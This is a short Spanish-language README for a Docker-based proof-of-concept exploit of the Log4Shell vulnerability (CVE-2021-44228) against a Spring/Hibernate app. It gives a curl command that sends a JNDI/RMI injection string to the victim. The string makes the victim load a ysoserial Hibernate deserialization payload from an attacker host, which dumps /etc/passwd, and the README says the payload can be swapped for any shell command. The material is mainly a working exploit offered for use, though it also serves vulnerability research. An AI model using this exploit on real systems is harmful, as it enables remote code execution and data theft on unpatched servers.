
CVE-2021-44228 POC - Spring / Hibernate
Este POC usa Spring / Hibernate, sin embargo un enfoque similar de rmi -> deserialización podría usarse para desencadenar cualquier vulnerabilidad de deserialización
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Deberías ver el contenido del /etc/passwd de la víctima aparecer en los registros del contenedor attacker.
Puedes reemplazar el comando en el servicio exploit para ejecutar cualquier comando de shell en la víctima.
La víctima está ejecutando una aplicación spring starter estándar con las dependencias "Spring Data JPA" (para Hibernate), "Spring Web" y "H2" (como almacén de datos). Solo se han realizado 2 modificaciones sobre esto
slf4j por el vulnerable log4jTodas las dependencias están actualizadas. No hay flags mágicas habilitadas.
La víctima expone un endpoint que acepta POST en / que registrará la petición.
El exploit se basa en un fork de ysoserial que utiliza el generador de exploits Hibernate. Para que el exploit funcione con la última versión de Hibernate, necesitaremos recompilar ysoserial.